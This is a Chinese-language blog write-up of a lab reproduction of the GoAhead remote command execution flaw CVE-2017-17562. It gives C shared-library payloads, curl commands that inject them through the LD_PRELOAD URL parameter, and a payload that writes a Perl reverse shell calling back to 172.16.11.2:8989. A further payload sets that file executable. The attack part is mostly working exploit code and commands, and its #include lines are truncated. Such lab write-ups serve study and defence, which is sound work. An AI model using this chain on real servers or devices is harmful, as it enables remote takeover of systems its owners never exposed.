GoAhead 远程命令执行漏洞


GoAhead 远程命令执行漏洞(CVE-2017-17562)

GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server,多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序,这个漏洞就出现在运行CGI程序的时候。

GoAhead在接收到请求后,将会从URL参数中取出键和值注册进CGI程序的环境变量,且只过滤了REMOTE_HOSTHTTP_AUTHORIZATION。我们能够控制环境变量,就有很多攻击方式。比如在Linux中,LD_开头的环境变量和动态链接库有关,如LD_PRELOAD中指定的动态链接库,将会被自动加载;LD_LIBRARY_PATH指定的路径,程序会去其中寻找动态链接库。

我们可以指定LD_PRELOAD=/proc/self/fd/0,因为/proc/self/fd/0是标准输入,而在CGI程序中,POST数据流即为标准输入流。我们编译一个动态链接库,将其放在POST Body中,发送给http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0,CGI就会加载我们发送的动态链接库,造成远程命令执行漏洞。

漏洞复现

我们首先需要编译一个动态链接库,而且需要和目标架构相同。所以在实战中,如果对方是一个智能设备,你可能需要交叉编译。因为Vulhub运行在Linux x86_64的机器中,所以我们直接用Linux PC编译即可。动态链接库源码:

#include 
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
    write(1, "Hello: World!\n", 14);
}

这样,before_main函数将在程序执行前被调用。编译以上代码:
gcc -shared -fPIC ./payload.c -o payload.so

将payload.so作为post body发送:

curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i

可见,Hello: world!已被成功输出,说明我们的动态链接库中的代码已被执行:

进一步利用漏洞,在服务器中写入一个perl脚本,直接在浏览器中访问这个脚本,如果按照设定,该脚本会直接被cgi调用执行

但是我们直接写入的文件在服务器中没有执行权限,我们要额外执行一步,向服务器发送一个数据,增加这个文件的可执行权限。下面是详细步骤:

使用nc监听本地8989端口,为后面获取shell做准备。我们在操作机中打开命令行输入如下命令 ,监听一个指定端口,此端口可以任意指定,只要不和系统服务冲突即可。

向服务器中写入shell.pl文件

编辑反弹shell的payload2,这个payload2是在指定路径下写入一个perl脚本,这个脚本内容才是反弹shell的,payload2源代码如下:

#include 
#include 
#include 
static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
  FILE *fp;
  int i=0;
  char *s="#!/usr/bin/perl\nuse Socket;$i='172.16.11.2';$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}";
  fp=fopen("./cgi-bin/shell.pl","wr");
  while(*s)
  { printf("%c",*s);
    fseek(fp,i++,SEEK_SET);
    fprintf(fp,"%c",*s++);        
  }
  fclose(fp);
  getchar();
}

这段代码是在cgi-bin目录下写入一个新文件shell.pl,这是一个perl反弹shell的脚本,直接反弹shell的c语言代码,因为环境的问题,在本实验中会出现,本文就不再赘述。

正常情况下在发送这个数据包到服务器,生成文件之后,我们只需要访问一下这个新生成的文件shell.pl,shell即可弹回。

打开命令行,使用命令对payload2.c交叉编译

gcc -shared -fPIC ./payload2.c -o payload2.so

现在我们打开命令行,再次使用curl命令,发送payload2.so

curl -X POST --data-binary @payload2.so "http://IP/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i

此时文件已经写入服务器中的cgi-bin/目录下了,正常的话我们访问一下http://IP/cgi-bin/shell.pl,即可获得shell。

无法访问是因为这个新创建的文件只是一个只读文件,并没有执行权限,我们接下来要做的就是,修改这个shell.pl的权限。

给shell.pl文件增加可执行权限

此时我们只要再发个修改文件权限模式的数据包就行了。我们可以继续编辑一个payload3.c,源代码如下:

#include 
#include 
#include 
#include 

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
chmod("./cgi-bin/shell.pl", S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IWGRP|S_IXGRP|S_IROTH|S_IWOTH|S_IXOTH);
}

这里我们使用的C语言自带的chomd函数来修改,不要使用system函数调用系统命令来修改,当直接在这调用系统命令时,该条命令的执行结果将会无限循环,导致系统出错,这个文件执行之后即执行了chmod 777 shell.pl

我们可以打开命令行,输入以下命令,再次对payload3进行交叉编译

gcc -shared -fPIC ./payload3.c -o payload3.so

编译完成之后尝试发送payload3.so,继续使用之前的curl命令发送数据:

curl -X POST --data-binary @payload3.so "http://IP/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i

这时候我们在访问一下我们写入的shell http://IP/cgi-bin/shell.pl成功反弹


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Hadoop YARN ResourceManager 未授权访问 Hadoop YARN ResourceManager 未授权访问
Hadoop YARN ResourceManager 未授权访问漏洞利用利用方法和原理中有一些不同。在没有 hadoop client 的情况下,直接通过 REST API (https://hadoop.apache.org/docs/
2019-02-19
下一篇 
GlassFish 任意文件读取漏洞 GlassFish 任意文件读取漏洞
GlassFish 任意文件读取漏洞原理java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意
2019-02-18
  目录